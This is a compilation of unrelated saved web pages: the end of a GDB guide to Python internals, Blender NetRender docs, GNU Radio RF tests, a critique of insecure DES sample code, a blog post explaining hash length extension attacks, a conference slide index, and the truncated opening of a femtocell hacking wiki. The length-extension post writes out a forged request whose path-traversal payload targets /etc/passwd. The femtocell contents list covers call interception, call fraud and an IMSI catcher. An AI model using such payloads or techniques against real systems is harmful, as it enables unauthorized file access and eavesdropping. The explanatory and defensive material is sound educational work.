      args=0xf7d9e1c8, argcount=4, kws=0x0, kwcount=0, defs=0x0, defcount=0, closure=0x0
    Locals at 0xfffefa48, Previous frame's sp is 0xfffefa50
    Saved registers:
    ebx at 0xfffefa3c, ebp at 0xfffefa48, esi at 0xfffefa40, edi at 0xfffefa44,
      eip at 0xfffefa4c
    (gdb)
    
[/code]

Here we go. Now, using the above “trick”, we learn that this is line 78 in
method \_\_new\_\_ in abc.py:

[code]

    (gdb)p co->co_firstlineno
    $24 = 78
    (gdb) x/s ((PyStringObject)*co->co_name)->ob_sval
    0xf7dc4694: "__new__"
    (gdb) x/s ((PyStringObject)*co->co_filename)->ob_sval
    0xf7d9f8a4: "/usr/lib/python2.6/abc.py"
    (gdb)
    
[/code]

Perfect. Now, since \_\_new\_\_ is \(sometimes\) indicative of a metaclass —
and we’re looking at code from the Abstract Base Class module which I happen
to know goes metaclass crazy — we should have a class, a name, a bases tuple,
and an object dictionary. Let’s look at the object types:

[code]

    (gdb) x/s args[0]->ob_type.tp_name
    0x81590e5 <.LC33+5012>: "type"
    (gdb) x/s args[1]->ob_type.tp_name
    0x8158d74 <.LC33+4131>: "str"
    (gdb) x/s args[2]->ob_type.tp_name
    0x8158f43 <.LC33+4594>: "tuple"
    (gdb) x/s args[3]->ob_type.tp_name
    0x8156ea5 <.LC16+1319>: "dict"
    (gdb)
    
[/code]

Perfect\! We’ve found the location of the code executing and the types of
arguments that it takes. What if we wanted to see, for example, the actual
name passed in instead of the “str” type? Simple. We just repeat what we’ve
already learned:

[code]

    (gdb) x/s (*(PyStringObject *)args[1]).ob_sval
    0xf7d96054: "Hashable"
    (gdb) p (*(PyStringObject *)args[1]).ob_refcnt
    $38 = 8
    (gdb)
    
[/code]

Now we know, without looking at a line of Python, that this is the \_\_new\_\_
method of the metaclass for the Hashable ABC and the name of the class has a
reference count of 8.

## Accessing Dictionaries

Finally, what about something more detailed? Let’s look at the dictionary
passed here.

[code]

    (gdb) p *((PyDictObject*)args[3])
    $51 = {ob_refcnt = 3, ob_type = 0x81854a0, ma_fill = 4, ma_used = 4, ma_mask = 7,
      ma_table = 0xf7d8aa60, ma_lookup = 0x808c70c , ma_smalltable = {
       {me_hash = 435549560, me_key = 0xf7dc44e0, me_value = 0xf7d9b4fc},
       {me_hash = 0, me_key = 0x0, me_value = 0x0},
       {me_hash = 1333480578, me_key = 0xf7dc2a20, me_value = 0xf7d9d5a0},
       {me_hash = -1120181165,me_key = 0xf7dc2688, me_value = 0xf7dc132c},
       {me_hash = 1733367940, me_key = 0xf7d942f0, me_value = 0x81c3e64},
       {me_hash = 0, me_key = 0x0, me_value = 0x0},
       {me_hash = 0, me_key = 0x0, me_value = 0x0},
       {me_hash = 0, me_key = 0x0, me_value = 0x0}}}
    (gdb)
    
[/code]

What’s all of this me business? Let’s look at one of the items in the hash
table representing the dictionary.

[code]

    (gdb) p *((PyTypeObject*)((PyDictObject*)args[3])->ma_smalltable[2].me_key.ob_type)
    $64 = {ob_refcnt = 71, ob_type = 0x818a940, ob_size = 0, tp_name = 0x8158d74 "str",
      tp_basicsize = 24, tp_itemsize = 1, tp_dealloc = 0x809d982 ,
      tp_print = 0x809d74c , tp_getattr = 0, tp_setattr = 0, tp_compare = 0,
      tp_repr = 0x809ec77 , tp_as_number = 0x8187fe0, tp_as_sequence = 0x8188080,
      tp_as_mapping = 0x81880a8, tp_hash = 0x809c5a9 , tp_call = 0, tp_str = 0x809e602 ,
      tp_getattro = 0x8091091 ,
      tp_setattro = 0x8090e1a , tp_as_buffer = 0x81880b4, tp_flags = 136713723,
      tp_doc = 0x81880e0
       "str(object) -> string\n\nReturn a nice string representation of the object.\n
            If the argument is a string, the return value is the same object.",
      tp_traverse = 0,
      tp_clear = 0, tp_richcompare = 0x809cd84 , tp_weaklistoffset = 0, tp_iter = 0,
      tp_iternext = 0, tp_methods = 0x8188180, tp_members = 0x0, tp_getset = 0x0,
      tp_base = 0x8187c00, tp_dict = 0xf7dc34f4, tp_descr_get = 0, tp_descr_set = 0,
      tp_dictoffset = 0, tp_init = 0x80ac582 , tp_alloc = 0x80ad345 ,
      tp_new = 0x80a2fcc , tp_free = 0x8094510 , tp_is_gc = 0, tp_bases = 0xf7dc4f0c,
      tp_mro = 0xf7dc7fa4, tp_cache = 0x0, tp_subclasses = 0x0,
      tp_weaklist = 0xf7dc7fcc, tp_del = 0, tp_version_tag = 0}
    (gdb)
    
[/code]

Excellent. The key type is a string. What’s the value?

[code]

    (gdb) x/s ((PyStringObject *)((PyTypeObject*)((
        PyDictObject*)args[3])->ma_smalltable[2].me_value)).ob_sval
    0xf7d9d5b4: "_abcoll"
    (gdb)
    
[/code]

The value of this entry is the string “\_abcoll.” Note that the key type
doesn’t reference the value type. I left out the step in which I looked up the
value’s type.

# Closing Notes

The most important step in understanding how to do this is having Python
source available. You’re debugging a C program here; you want to access
structure members and fields. Given the above knowledge, you should be able to
walk through and display information about almost any Python object in memory.
A big help.

## What about the shared libraries?

If you’re referencing shared object files that aren’t in standard library
paths, you can add them to your GDB shared object search path from your local
directory as follows:

[code]

    for i in $(find . -name *.so)
      do
        dirname $i;
      done | sort | uniq | tr \\n : | sed -e 's#\./#'$PWD'#g'
    
[/code]

And then…

[code]

    (gdb) set solib-search-path <the above output>
    
[/code]

As always, you should ensure these are the same versions that you’re running
or that may be referenced in a core.

## What if I Have a Core File?

You’ll use it like you would with any other debug session:

[code]

    gdb -c <core> /usr/bin/python
    
[/code]

All of the standard commands should work at that point: up, down, select,
frame, etc…

## How do I Get a Core File?

You can force a binary to drop a core by ensuring that the ulimit is set
appropriately via ulimit -Sc unlimited. If your core files aren’t where you
expect, see man core.

# Doc:2.5/Manual/Render/Engines/Netrender - BlenderWiki

**Created:**| _4/6/2011 8:27:29 AM_  
---|---  
**Updated:**| _4/10/2011 11:57:38 AM_  
**Author:**| __  
**Tags:**| _cloud computing Distributed systems modeling animation_  
  

## Description

Network renderer from inside Blender

### Goals

  * Transparency
  * Flexibility

## Download

In v2·5 \(svn trunk\)

I highly recommend using a SVN build when possible, to have all the latest
features and bugfixes. Otherwise, the latest release \(v2·56 at this time\) is
what you should be using.

## Instructions

### GUI

#### Master

On one machine, start a Master server.

  * Start Blender, switch Render Engine to Network Render using the dropdown in the Info window header \(next to Scene\)
  * Select Master as mode of operation
  * _Optional_ Specify the IP address of the interface to listen on as well as the port. Leave at _\[default\]_ if you want the server to listen on all network interface on the specified port.
  * Press Start \(it will open a blank render window\). The render status line will reflect the actions of the server
  * The Master will run until stopped by pressing Esc, as if canceling a normal render.

#### Slave\(s\)

On other machines, start render slaves

  * Start Blender, switch Render Engine to Network Render
  * Select Slave as mode of operation
  * _Optional_ Specify the IP address of the master server as well as the port. Leave at _\[default\]_ if you want the slaves to automatically detect the master from its broadcast.
  * Press Start \(it will open a blank render window\). The render status line will reflect the actions of the slave
  * The Slave will run until stopped by pressing Esc, as if canceling a normal render.

#### Client

To send job to the cluster, from your workstation:

  * Open the blend file to be rendered. Confirm your render settings \(size, etc\)
  * Save the file \(it sends the last saved file at this point\)
  * Select Network Render as Render Engine
  * Select Client as mode of operation
  * One of the following:
    * Specify the IP address of the master server as well as the port.
    * Press the Refresh button underneath the address to automatically detect the Master server from its broadcast.
  * Press Send Job to dispatch the animation job to the Master server
  * Whenever you want, Render the Animation \(Ctrl-F12\) to gather the finished frames. Finished frames with "appear" automatically while it will pause on ongoing frames.
  * You can also hit Render on any frame of the animation and it will fetch the result from the Master.
  * In the simplest example, you can just press "Animation on network" and wait for the frames to come in. Total render time should be close to inverse proportional to the number of slaves \(minus transfer times\).

### Command Line

  * Configure master and slaves as described previously. Save configurations to separate blend files \(ie: master.blend and slave.blend\).
  * Use background rendering to start the master and slaves like so:
    * _blender -b master.blend -a_
    * _blender -b slave.blend -a_
  * Master and Slaves can be stopped with Ctrl-C \(it is recommended to stop the Slaves before the Master\).

### Extra

Full multilayer render results are used, so the final results should be
exactly the same as a local render. You don't have to specify this as output
in the original file, it's done on the slaves automatically.

More info for testers.

Testers are invited to contact me via IRC \(`#blendercoders`\) or by email.

## Settings

<img src='img/180px-NetRender_Engine.png' width='180' height='37' />

<img src='img/magnify-clip.png' width='15' height='11' />

NetRender as a Render Engine

The Render Engine drop down is located in the Info window at the top of the
Blender window. This is where you select Network Render to access NetRender
features.

### Master

<img src='img/180px-NetRender_Master.png' width='180' height='219' />

<img src='img/magnify-clip.png' width='15' height='11' />

Master settings

  * Network Settings
    * **Start Service** : Starts the Master Server
    * **Path** : Where the Master will save job files, results, logs and others. It will create a new directory there of the form _master\_ <pid>_ where _< pid>_ is the process ID of the Master server.
    * **Server Address** : Address of the network interface that the Master will listen on. _\[default\]_ means listen on all available network interfaces.
    * **Port** : Port that the Master will listen on.
    * **Open Master Monitor** : Open a browser to the Web-based Master monitor. Enabled when the Master is running.
  * Master Settings
    * **Broadcast** : Broadcast the Master's Address and Port on its local network \(every 10s\).
    * **Clear on exit** : Remove the directory created in _Path_ when the Master is stopped.

### Slave

<img src='img/180px-NetRender_Slave.png' width='180' height='283' />

<img src='img/magnify-clip.png' width='15' height='11' />

Slave settings

  * Network Settings
    * **Start Service** : Start the Slave node.
    * **Path** : Where the Slave will save job files, results and logs. It will create a new directory there of the form _slave\_ <id>_ where _< id>_ is the Slave ID assigned by the Master server.
    * **Server Address** : Address on which the Master listens.
    * **Port** : Port on which the Master listens
    * **Refresh** : Listen to the Master's broadcast to determine its Address and Port \(can take up to 20s\).
    * **Open Master Monitor** : Open a browser to the Web-based Master monitor. Enabled when the Master's address is valid.
  * Slave Settings
    * **Clear on exit** : Remove the directory created in _Path_ when the Slave is stopped.
    * **Generate thumbnails** : Create thumbnails of the render result on the Slave \(they are otherwise created on demand by the Master\).
    * **Threads** : How many threads should the Slave use for rendering.

  

### Client

<img src='img/180px-NetRender_Client.png' width='180' height='595' />

<img src='img/magnify-clip.png' width='15' height='11' />

Client settings

  * Network Settings
    * **Path** : Where the Client will save its temporary render result file.
    * **Server Address** : Address on which the Master listens.
    * **Port** : Port on which the Master listens
    * **Refresh** : Listen to the Master's broadcast to determine its Address and Port \(can take up to 20s\).
    * **Open Master Monitor** : Open a browser to the Web-based Master monitor. Enabled when the Master's address is valid.
  * Job Settings
    * **Animation on network** : Send the current file as job to the Master and waits for results \(other than the rendering taking place elsewhere, this works like a normal Render Animation\).
    * **Send Job** : Send the current file as job to the Master. The job ID returns becomes the _current job ID_.
    * **Get Image** : Request the current frame in the current job from the Master \(waits until the result is available if it isn't already\). The result is the same as a normal Render Frame.
    * **Get Animation** : Request all frames in the current job from the Master \(waits when encountering a frame that hasn't been rendered yet\). The result is the same as a normal Render Animation.
    * **Name** : Name of the job. _\[default\]_ uses the name of the blend file.
    * **Category** : Category of the job, _Optional_. Jobs on the Master are also balanced by Categories.
    * **Priority** : Priority of the job. The Priority level is a multiplier that makes the Master count the job as if if were X jobs \(ie: balancing between a priority 1 and a priority 2 job will make them take 33% and 66% of the workload respectively\).
    * **Chunks** : How many frames are dispatched to a Slave as part of the Chunk of work.
  * Slaves Status
    * **List** : List of all Slaves connected to the Master.
    * **Refresh** : Refresh the Slaves information from the Master
    * **Remove** : Move the selected Slave to the Blacklist.
  * Slaves Blacklist
    * **List** : List of all Blacklisted Slaves.
    * **Remove** : Remove the selected Slave from the Blacklist.
  * Jobs
    * **List** : List of all jobs on the Master.
    * **Refresh** : Refresh the Jobs information from the Master
    * **Remove** : Remove a Job from the Master.
    * **Remove All** : Remove all Jobs from the Master.
    * **Get Results** : Get all available frames from the selected Job. Results are downloaded as multilayer EXR into the current output directory.

## Notes and Known Bugs

  * No shared network space required between nodes
  * You can dispatch many different files, all results can be retrieved independently \(save the file after the dispatch if you want to close it and retrieve later\).
  * There is very little network error management, so if you close the master first, stuff will break. Same if you enter an invalid address.

  
**Yes** , I _know_ the current workflow is far from being ideal, especially
from a professional render farm point of view. I expect Matt to whip me and
suggest better stuff. Optimally, I'd like if users could just press "Anim on
network", it would automatically dispatch to the network and wait for results,
like a local render. All "pro" features should be optional.

## Load Balancing

Primary balancing is performed by calculating usage of the cluster every 10s
for each job, averaged over time. The next job dispatched is the one with
lowest usage \(the one that is using the lesser number of slaves\). The
priority of a job acts as a divisor, so a job of priority 2 would use a
percentage of the cluster as if it were 2 jobs and not just one \(ie: a job of
priority 1 and one of priority 2 sharing slaves will use respectively 33% and
66% of the processing power\). On top of that, there's a set of exceptions and
first priority rules:

### Exceptions

  * A single job cannot use more than N% of total slaves, unless it's the only job. That prevents slow job from starving faster ones. This is set at 75% for now, but should be customizable.

### First Priorities \(criteria\)

  * Less than N frame dispatched \(prioritize new jobs\). The goal of this is to catch errors early.
  * More than N minutes list last dispatch. To prevent high priority jobs from starving others.

## To do

  * Send job from memory
  * Don't depend on render engine choice for visibility
  * "Expert" render manager
  * Better defined communication protocol
  * The option to calculate simulations \(cloth, smoke, ...\) on a node which would then send point cache to server for dispatch to render
  * Pack textures on upload
  * Dispatch single frame as tiles

## Technical Details

_Out of date, read the code and put info here._

### Feature List

  * support paths instead of files
  * client-server-slave: restrict job to specific nodes
  * client-server-slave: view node machine stats
  * client-server-slave: reporting error logs back to manager \(all `stdout` and `stderr` from nodes\)
  * Cancel jobs
  * Restart error frame
  * Disable crash report on windows
  * Dispatch more than one frame at once \(a sequence of frames\)
  * Blacklist slave that errors on frame after reset
  * Multiple paths on job announce
  * Delay job until all files accounted for
  * Frame range restrictions \(ie: send point cache files only when needed for the range of frames\)
  * Send partial logs to master
  * TODO: Set slaves to copy results on network path
  * TODO: client-master: archive job \(copy source files and results\)
  * TODO: master-slave: restrict jobs based on specs of slaves.

### API Feature Wishlist

This is a list of blender code I would need to make netrender better. Some of
them are bugs, some are features that should \(hopefully\) eventually be
there.

  * API access to jobs, to be able to run masters and slaves in the background as well as render job notifiers on the client.
  * Render result from multilayer image in memory
  * Render and load tiles in render results

# opentag:radios:testing\_with\_gnuradio - Indigresso Wiki

**Created:**| _5/20/2012 4:20:13 PM_  
---|---  
**Updated:**| _5/20/2012 4:20:13 PM_  
**Author:**| __  
**Tags:**| _Gnuradio modulation_  
  

# RF testing with GNU Radio

  
It is not necessary to understand physical layer of radio transmission to use
Dash7 or OpenTag, however those who need to perform physical layer tests or
diagnosis can benefit from this.

  
Software radio can provide a cost-effective method of RF testing or
experimenting with modulation settings.  
GNU Radio is an open-source project which implements this.

# Introduction to GNU Radio

Perhaps the best introduction to using GNU Radio can be found at tutorials by
Professor Sharlene Katz of Cal State Northridge.  
These tutorials can be used by those without any RF hardware, because they
show how to demodulate pre-recorded samples.

  
Recommended to run thru these tutorials before trying to understand following
material.  
It also might be recommended to first open the `dial_tone.grc` into gnuradio-
companion, as its considered the hello-world of gnuradio. You can use this to
test your sound card, to see if audio sink requires 48KHz sample rate or
other.

# Hardware available for GNU Radio

http://ettus.com/ is the primary provider of RF hardware to use GNU Radio over
the air. These have the best performance and support, and provide both TX and
RX functionality over wide frequency range.

  
Another low-cost option is an RTL2832-based USB DVB-T receiver. The frequency
stability may not be the best, and ADC is only 8bit, but with such low cost
there should be no reason not to have one. This is RX only. See
http://wiki.spench.net/wiki/Gr-baz for more information.  
http://www.funcubedongle.com/ might also be interesting, but its not useful
for Dash7 purpose because of 80kHz bandwidth limitation.

# GFSK modulation with GNU Radio

GNU radio has had GMSK modulation to support GSM phone users.  
MSK is the same as FSK, but with MSK the modulation index is fixed at the
minimum possible 0.25.  
The low-cost data transceivers \(such as used for Dash7\) have modulation
index around 0.5 to 2.0, which is commonly known as \(G\)FSK.  
\(patch to add GFSK blocks is forthcoming 4/13/2012\)

## test examples using Ettus WBX

WBX RF daughterboard has frequency range of 64MHz to 2.2GHz, making it useful
for many general purpose uses, and the most appropriate for 433.92MHz. But
there are other board available for other frequency ranges.

#### GFSK PN9 signal transmitted by WBX and received by WBX \(55555bps with
+/-50Khz deviation at BT 0.5\):

<img src='img/Temp2_10515.png' />

#### And, same received signal type from CC430:

CC430 is continuously transmitting using `PKTCTRL0.LENGTH_CONFIG = 2` <img
src='img/Temp2_10514.png' />

#### GRC schema used to run these tests

`samp_rate` set to 444,444 samples per second, and samples\_per\_symbol of 8
at modulator results in 55555bps.  
FM sensitivity of 0.707 results in +/-50KHz devation.  
With gnuradio-companion you can experiement with filters and modulation
settings, among an infinite number of other radio things. <img
src='img/Temp2_10513.png' />

#### time-domain analysis

Received signal can be displayed in time domain using Quadrature Demodulator
and Scope Sink.  
The deviation is `samp_rate/(pi*2)`.  
In this case 444444sps/6.283 = 70.7Khz for 1.0 on scope display.  
0.707 on scope = 50KHz deviation.  
<img src='img/Temp2_10516.png' />

#### uhd\_fft.py

`uhd_fft.py` is a simple spectrum analyzer.  
showing CC430 at a wider span, with ambient noise saved at trace B:  
<img src='img/Temp2_10512.png' />  
Care must be taken with Ettus RF boards for received signal maximum damage
rating. Maximum safe level is generally 0dBm.

# How Not to Encrypt a File — Courtesy of Microsoft – Robert Parks – Medium

**Created:**| _6/29/2017 3:51:44 PM_  
---|---  
**Updated:**| _6/29/2017 3:51:44 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# How Not to Encrypt a File — Courtesy of Microsoft

A client recently sent me a crypto spec which involved some, how do I say,
_suboptimal_ use of crypto primitives. They’re .Net users so I decided to
search for a nice msdn crypto reference to set them straight. Instead I found
the likely culprit behind their confusion.

The article in question is this one: How to encrypt and decrypt a file by
using Visual C\# \(has since been taken down, victory\!\). If you’re in the
mood for some forehead slapping I recommend reading it. Here are some of the
funny-if-they-weren’t-sad pieces of advice I found:

#### Use of DES for encryption

And no, I don’t mean 3DES, just plain DES. The one that can be brute forced in
a single digit number of days by a modern computer. Keep in mind the intended
audience for this article isn’t cryptographers who know better, it’s
programmers looking for a tutorial. It’s a good thing the caesar shift isn’t
available in their library or it would probably have ended up in this
tutorial.

#### Suggestion to use the encryption key as the IV

This was the first in a series of data points which suggest that the author
has no idea what an IV is or how it’s supposed to be used. This suggestion
actually comes up more than once in the article, here are the offending
passages:

> You can prompt the user for a password. Then, use the password as the key
> and the IV.
Note that there is no mention of a using a key derivation function, just a
suggestion to use the password directly.

[code]

    DES.Key = ASCIIEncoding.ASCII.GetBytes(sKey);  
    DES.IV = ASCIIEncoding.ASCII.GetBytes(sKey);
[/code]

This passage is probably even worse in that it’s actual code that unsuspecting
readers could potentially copy and paste.

#### Advice against using the library’s key and IV generation functionality

Using a single password as the key and the IV is a pretty terrible suggestion,
but luckily the library has a method for generating a key and IV for you so
you don’t mess it up. Unfortunately the author explicitly advices against it
for a nonsensical reason.

> If you do not provide a key, the provider randomly generates one. **This
> successfully encrypts the file, but there is no way to decrypt the file.**
> Note that you must also provide the initialization vector \(IV\). This value
> is used as part of the encryption. Like the key, the IV is randomly
> generated if you do not provide the value. Because the values must be the
> same for the encryption and the decryption, **you must not permit random
> generation of these values**.
Emphasis mine. So apparently if you use the key and IV generation
functionality of the library there is no way to perform decryption. I have to
wonder why the author thinks the library authors chose to include this
irreversible data destruction functionality. The author even takes it a step
further and makes the blanket statement that keys and IVs shouldn’t be
randomly generated at all.

#### IV not included with the ciphertext

This one is subtle because you have to either really follow the logic or try
running the code yourself. This probably explains why the author treats the IV
as if it’s another secret key.

#### References get the IV wrong also

It may seem like I’m really raking this guy over the coals for his
misunderstanding of what an IV is or how it’s used; after all this isn’t an
article about block cipher modes or cryptographic keys, and it even links to a
reference specifically about cryptographic keys. Surely that clears everything
up, right? Right?? This is literally the second sentence in that article:

> Symmetric algorithms require the creation of a key and an initialization
> vector \(IV\) that must be kept secret from anyone who should not decrypt
> your data
But at least that article uses triple DES in their example.

Followup: Dear Microsoft, This is How You Encrypt a File

  

# Hash Length Extension Attacks | WhiteHat Security Blog
**Created:**| _4/19/2012 4:38:16 PM_  
---|---  
**Updated:**| _4/19/2012 4:38:16 PM_  
**Author:**| __  
**Tags:**| _attacks hash crypto_  
  

# Hash Length Extension Attacks

March 30, 2012 By Douglass Clem Leave a Comment

It seems that many penetration testers rarely test cryptographic
vulnerabilities. I’ve always been interested in cryptography, so I’ve made it
a goal to understand how web application developers misuse crypto, and how to
exploit the flaws that the misuse of cryptography create.

In January, I did some independent research on how to perform hash length
extension attacks against poorly implemented message authentication codes
\(MACs\). I found several good research papers and blog posts that discussed
how these attacks work in a very general sense. However, there was not much
information that specifically explained the details of a length extension
attack. In this post, I’ll be explaining exactly what does happen.

## Message Authentication Codes 101

Message authentication codes \(MACs\) are a way to verify the authenticity of
a message. In the more naive implementation of a MAC, the server has a secret
key that it concatenates with a message, and then hashes the combination with
an algorithm, such as MD5 or SHA1. For example, consider an application that
is designed to give an authorized user the ability to download specific files.
The site might create a MAC for the filename like this:

[code]

    def create_mac(key, fileName)
       return Digest::SHA1.hexdigest(key + fileName)
    end
[/code]

The resulting URL might look something like:

[code]

    http://example.com/download?file=report.pdf&mac=563162c9c71a17367d44c165b84b85ab59d036f9
[/code]

When the user sends the request to download a file, the following function is
executed:

[code]

    def verify_mac(key, fileName, userMac)
        validMac = create_mac(key, filename)
        if (validMac == userMac) do
            initiateDownload()
        else
            displayError()
        end
    end
[/code]

With this code, the server should only call initiateDownload if the user has
not tampered with the filename… or so the theory goes. In reality, this method
of creating a MAC leaves the site vulnerable to an attack where attackers can
append their own content to the end of the file parameter.

## Length Extension Attacks, The Simple Explanation

Cryptographic hash functions, such as MD5, SHA1, SHA2, etc., are based on a
construct known as Merkle–Damgård. An interesting issue arises with this type
of hash function: If you have a message that is concatenated with a secret and
the resulting hash of the concatenated value \(the MAC\) – and you know only
the length of that secret – you can add your own data to the message and
calculate a value that will pass the MAC check without knowing the secret
itself.

Example: message + padding + extension

Continuing the example from above, an extension attack against the
hypothetical file download MAC would look like this:

[code]

    http://example.com/download?file=report.pdf%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
    %00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
    %00%A8/../../../../../../../etc/passwd&amp;mac=ee40aa8ec0cfafb7e2ec4de20943b673968857a5
[/code]

## Length Extensions In Depth

To understand why this attack works, you first must understand what happens
inside a hash function.

### How Hash Algorithms Work

Hash functions work on blocks of data. As an example, 512 bits is the block
length for MD5, SHA1 and SHA256. Most messages that are hashed will have a
length that is not evenly divisible by a hash function block length. Thus, the
message must be padded to match a multiple of the block length. Using the file
download MAC example above, the message after padding would look like this
\(the ‘x’s represent the secret key\):

[code]

    xxxxxxxxxxxreport.pdf\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
    \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xA8
[/code]

In SHA1, which is the algorithm being used in this example, a hash consists of
a series of five integers. When displayed, these integers are usually in
hexadecimal format and concatenated together. The initial value − aka, the
registers − are set to this value when the algorithm is run: 67452301,
EFCDAB89, 98BADCFE, 10325476, C3D2E1F0. Then, once the message has been
padded, it is broken up into 512 bit blocks. The algorithm runs through these
blocks, performing a series of calculations with the blocks to update the
registers. Once these calculations are completed, the contents of the
registers are the resulting hash of the message.

### Calculating An Extension

The first step in calculating an extension is to create a new MAC. To do this,
the contents we are extending the message with must be hashed:
‘/../../../../../../../etc/passwd’ in our example. However, when performing
this hash, the initial registers must be overridden with the MAC from the
origional message. You can think of this as making the SHA1 function start off
at the state where the server’s hash function left off.

[code]

    Attacker's MAC = SHA1(extension + padding) <- but with overridden registers
[/code]

For this attack to work, the extension must be in its own block when it goes
into the server’s hash function. The second step is to calculate enough
padding so that key + message + padding == some multiple of 512 bits. In this
example, the key is 11 characters long. Therefore, the padded message would
look like this:

[code]

    report.pdf\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
    \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xA8
[/code]

The padded and extended message is then sent to the server, with the new MAC:

[code]

    http://example.com/download?file=report.pdf%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
    %00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
    %00%00%A8/../../../../../../../etc/passwd&mac=ee40aa8ec0cfafb7e2ec4de20943b673968857a5
[/code]

Here is what the server hashes when it hashes the attacker’s hacked message:
secret + message + padding to the next block + extension + padding to the end
of that block. The result of the server’s hash will be
ee40aa8ec0cfafb7e2ec4de20943b673968857a5, which provides the same result as
hashing the extension while overriding the registers with the original MAC.
This occurs because the attacker’s hashing operation essentially started off
at the same state the server’s hash operation is at when the server has hashed
half of the attack.

### How To Run The Attack

For simplicity, in this example I revealed that the key length was 11
characters. In a real-world attack, where the attacker will not know the
length of the key, he will need to determine the key length.

Continuing the example, let’s say that the vulnerable website returns
different errors \(HTTP response codes, error messages in a response body,
etc.\) when a MAC validation failed versus when the validation succeeded, but
the file was not found. An attacker can then calculate multiple extensions,
one for each possible key length, and send each extension to the server. When
the server responds with an error indicating that the file was not found,
then, conversely, a length extension vulnerability has been found, and the
attacker is free to calculate new extensions aimed at gaining unauthorized
access to sensitive files on the server.

### How To Defend Against This Attack

The solution to this vulnerability is to use an algorithm known as HMAC.
Instead of just hashing the key concatenated with the message, HMAC does
something like this:

[code]

    MAC = hash(key + hash(key + message))
[/code]

How HMAC actually works is a bit more complicated, but you get the general
idea. The important part is that because it is hashed into the message twice,
the key is not vulnerable to the extension attack described in this post. HMAC
was first published in 1996, and has since been implemented in just about
every programming language’s standard library.

## Summary

Though there are still some crazy people who write their own cryptographic
algorithms, most people have gradually figured out that writing their own
crypto is a bad idea. However, it is essential to do more than merely use
publicly vetted crypto algorithms: You’ve must use those algorithms in the
right way. Unless you thoroughly understand how the algorithms you use work –
and know how to use them _correctly_ – it is always safer to rely on
professionally vetted, high-level libraries that will take care of the low-
level stuff for you.

# Index of /2013/slides/

**Created:**| _8/6/2013 9:35:04 AM_  
---|---  
**Updated:**| _8/6/2013 9:35:04 AM_  
**Author:**| __  
**Tags:**| _conference-material_  
  

# **I** ndex of /2013/slides**** /

* * *
[code]

    ../ 
    Recon2013-Aleksandr Matrosov and Eugene Rodiono..>  28-Jun-2013 20:48             3547937
    Recon2013-Alex Ionescu-I got 99 problems but a ..>  09-Jul-2013 17:25             9456278
    Recon2013-Bacura-Just keep trying **!** Unorthodox ..>  28-Jun-2013 19:44            20054313
    Recon2013-Christopher Domas-The Future of RE-Dy..>  01-Jul-2013 21:54            95154730
    Recon2013-Christopher Domas-The Future of RE-Dy..>  01-Jul-2013 21:54            13033018
    Recon2013-Craig Smith-Open Garages - VRL.pdf        10-Jul-2013 21:00             1988741
    Recon2013-Dmitry Nedospasov and Thorsten Schrod..>  01-Jul-2013 13:00            33308264
    Recon2013-Dmitry Nedospasov and Thorsten Schrod..>  01-Jul-2013 13:02             7528385
    Recon2013-Elias Bachaalany-Inside EMET 4.pdf        28-Jun-2013 20:27             5370426
    Recon2013-Gabriel Tremblay-Reversing P25 Radios..>  28-Jun-2013 22:20             1721845
    Recon2013-Josh Thomas-Hiding @ Depth - Explorin..>  28-Jun-2013 19:44             1864080
    Recon2013-Joshua J. Drake-Reversing and Auditin..>  28-Jun-2013 19:44             1209357
    Recon2013-Natalie Silvanovich-Many More Tamagot..>  28-Jun-2013 19:44            42029788
    Recon2013-Natalie Silvanovich-Many More Tamagot..>  28-Jun-2013 19:44            36233728
    Recon2013-Olivier Thomas-Hardware reverse engin..>  28-Jun-2013 19:44            10668531
    Recon2013-Omri Ildis, Yuval Ofir and Ruby Feins..>  03-Jul-2013 21:03            38758043
    Recon2013-Omri Ildis, Yuval Ofir and Ruby Feins..>  03-Jul-2013 21:03             5927155
    Recon2013-Richard Johnson-Taint Nobody Got Time..>  28-Jun-2013 19:44             1246899
    Recon2013-Ted Summers and Chris Hoder-Hot-wirin..>  30-Jun-2013 21:02            10049902
    recon2013-Jurriaan Bremer-Haow do I sandbox.pdf     28-Jun-2013 19:44             4135628
    
[/code]

* * *
****

# vodafone - THC Wiki

**Created:**| _7/15/2011 2:22:14 PM_  
---|---  
**Updated:**| _7/15/2011 2:40:25 PM_  
**Author:**| __  
**Tags:**| _Hacks awesome wireless gsm umts_  
  

**The Vodafone Access Gateway / UMTS Femto cell / Vodafone Sure Signal**  

<img src='img/Temp2_10696.jpg' /> <img src='img/Temp2_10695.jpg' />  
2009-AUG-28 Started private femto wiki.  
2010-JUL-14 Project stopped. To much fun with other things.  
2011-JUN-08 De-classified private wiki and copied content into this wiki.
Enjoy.  
2011-JUL-13 Publicly announced  
  

Inhaltsverzeichnis

  1. Where to buy
  2. Infos via Network
  3. Open Source
  4. Hardware
    1. Pictures
    2. Spansion NOR Flash
    3. Hynix 256MByte NAND Flash
    4. Sagem HILo GSM Module
  5. Network Connection \(AC\)
    1. Where does the encryption happen
    2. IPSEC up
  6. Femto Mod
    1. Hardware
      1. Go invisible - Removing the Vodafone Tracking Backdoor
      2. Breaking into the Femto
        1. Serial Console
        2. SSH
      3. Increase output power
      4. External Antenna and Amplifier
    2. Software
      1. Preventing unwanted updates
      2. Disabling Alarms
      3. Making the Root FS \(/\) writeable
      4. Autostart on femto bootup
      5. Factory Reset
  7. Projects
    1. Intercepting Traffic
      1. Technical Details
    2. Call Fraud
    3. Tunnelling
      1. Linux Setup
        1. Femto Network
        2. OpenVPN Config
        3. Routing
          1. Laptop End
          2. Server End
      2. Notes
  8. Toys
    1. Sniffing Traffic with Wireshark
      1. ISAKMP
    2. IMSI Catcher
      1. Adding your own SIM card
    3. sbsp interface
  9. Links

Vodafone released its femto cell to the general public. This means you can run
